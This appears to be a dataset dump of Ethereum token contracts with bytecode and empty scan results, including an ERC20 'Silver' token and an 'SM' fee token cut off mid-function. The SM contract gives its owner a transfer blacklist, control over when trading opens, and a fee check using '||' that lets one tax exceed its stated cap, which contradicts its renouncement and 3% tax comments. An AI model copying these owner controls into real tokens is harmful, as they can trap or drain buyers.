0x608060405234801561001057600080fd5b50600436106100935760003560e01c80638da5cb5b116100665780638da5cb5b146101625780639ed5a7191461016a578063c4d66de814610187578063dfd1b00f146101ad578063f2fde38b146101b557610093565b806306f5a1a7146100985780632e25063f146100b2578063392e53cd14610136578063508f18321461013e575b600080fd5b6100a06101db565b60408051918252519081900360200190f35b610122600480360360208110156100c857600080fd5b8101906020810181356401000000008111156100e357600080fd5b8201836020820111156100f557600080fd5b8035906020019184602083028401116401000000008311171561011757600080fd5b5090925090506102b0565b604080519115158252519081900360200190f35b61012261031e565b610146610327565b604080516001600160a01b039092168252519081900360200190f35b61014661033b565b6101466004803603602081101561018057600080fd5b503561034a565b6101226004803603602081101561019d57600080fd5b50356001600160a01b0316610374565b6100a0610411565b610122600480360360208110156101cb57600080fd5b50356001600160a01b03166104ab565b60008060005b6002548110156102aa57600054600280546102969261010090046001600160a01b0316916370a08231918590811061021557fe5b60009182526020918290200154604080516001600160e01b031960e086901b1681526001600160a01b0390921660048301525160248083019392829003018186803b15801561026357600080fd5b505afa158015610277573d6000803e3d6000fd5b505050506040513d602081101561028d57600080fd5b50518390610526565b91506102a3816001610526565b90506101e1565b50905090565b6001546000906001600160a01b03163314610308576040805162461bcd60e51b815260206004820152601360248201527229b2b73232b91034b9903737ba1037bbb732b960691b604482015290519081900360640190fd5b6103146002848461065b565b5060019392505050565b60005460ff1681565b60005461010090046001600160a01b031681565b6001546001600160a01b031681565b6002818154811061035a57600080fd5b6000918252602090912001546001600160a01b0316905081565b6001546000906001600160a01b031633146103cc576040805162461bcd60e51b815260206004820152601360248201527231b0b63632b91034b9903737ba1037bbb732b960691b604482015290519081900360640190fd5b60005460ff16156103dc57600080fd5b506000805460ff196001600160a01b03841661010002610100600160a81b031990921691909117166001908117909155919050565b600080600060019054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561046257600080fd5b505afa158015610476573d6000803e3d6000fd5b505050506040513d602081101561048c57600080fd5b5051905060006104a461049d6101db565b8390610587565b9250505090565b6001546000906001600160a01b03163314610503576040805162461bcd60e51b815260206004820152601360248201527229b2b73232b91034b9903737ba1037bbb732b960691b604482015290519081900360640190fd5b50600180546001600160a01b0383166001600160a01b0319909116178155919050565b600082820183811015610580576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600061058083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250600081848411156106535760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610618578181015183820152602001610600565b50505050905090810190601f1680156106455780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b8280548282559060005260206000209081019282156106ae579160200282015b828111156106ae5781546001600160a01b0319166001600160a01b0384351617825560209092019160019091019061067b565b506106ba9291506106be565b5090565b5b808211156106ba57600081556001016106bf56fea2646970667358221220a301331f4bb4c5a49b29bd1f50ce4b357ac55342ef39e32d780e7807643d834964736f6c63430007050033
{"success": true, "error": null, "results": {}}
5,409
0x9cf9653e007c04c0fc21ada5de817010626c9f87
pragma solidity ^0.4.12; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract Silver is BurnableToken, Ownable { string public constant name = "Silver"; string public constant symbol = "SILVER"; uint public constant decimals = 8; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 100000000000 * (10 ** uint256(decimals)); // Constructors function Silver () { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner } }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c857806323b872dd146101f1578063313ce5671461026a578063378dc3dc1461029357806342966c68146102bc57806366188463146102df57806370a08231146103395780638da5cb5b1461038657806395d89b41146103db578063a9059cbb14610469578063d73dd623146104c3578063dd62ed3e1461051d578063f2fde38b14610589575b600080fd5b34156100eb57600080fd5b6100f36105c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105fb565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db6106ed565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106f3565b604051808215151515815260200191505060405180910390f35b341561027557600080fd5b61027d6109df565b6040518082815260200191505060405180910390f35b341561029e57600080fd5b6102a66109e4565b6040518082815260200191505060405180910390f35b34156102c757600080fd5b6102dd60048080359060200190919050506109f3565b005b34156102ea57600080fd5b61031f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bbc565b604051808215151515815260200191505060405180910390f35b341561034457600080fd5b610370600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e4d565b6040518082815260200191505060405180910390f35b341561039157600080fd5b610399610e96565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103e657600080fd5b6103ee610ebc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042e578082015181840152602081019050610413565b50505050905090810190601f16801561045b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047457600080fd5b6104a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ef5565b604051808215151515815260200191505060405180910390f35b34156104ce57600080fd5b610503600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110cb565b604051808215151515815260200191505060405180910390f35b341561052857600080fd5b610573600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112c7565b6040518082815260200191505060405180910390f35b341561059457600080fd5b6105c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061134e565b005b6040805190810160405280600681526020017f53696c766572000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561073257600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061080383600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061089883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ee83826114a690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600881565b6008600a0a64174876e8000281565b60008082111515610a0357600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a5157600080fd5b339050610aa682600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610afe826000546114a690919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ccd576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d61565b610ce083826114a690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600681526020017f53494c564552000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f3257600080fd5b610f8482600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bf90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061115c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113aa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113e657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156114b457fe5b818303905092915050565b60008082840190508381101515156114d357fe5b80915050929150505600a165627a7a7230582004da91f4d511e9a84ca4f9971b6ee473325789ae836a1863674d338b5eb00c610029
{"success": true, "error": null, "results": {}}
5,410
0x8797212c8e2f77ef3edecfe883bcc4412f2de7d8
/** *Submitted for verification at Etherscan.io on 2022-04-26 */ // SPDX-License-Identifier: Unlicensed // $SM // Sending to the moon // Stealth Launch // LP will be burned // CA will be renounced // 3% Buy Tax / 3% Sell Tax // Enjoy this better and faster play 🌕 // https://sendingtothemoon.com // https://t.me/sendingtomoon // https://twitter.com/sendingtomoon pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SM is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Sending to the Moon"; string private constant _symbol = "SM"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 3; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 3; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private _removeTxLimit = false; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 40000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } if(!_removeTxLimit){ require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { if(!_removeTxLimit){ require(balanceOf(to) + amount < _maxWalletSize); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { bots[bots_[i]] = true; } } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy <= 5|| taxFeeOnSell <= 5 ); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 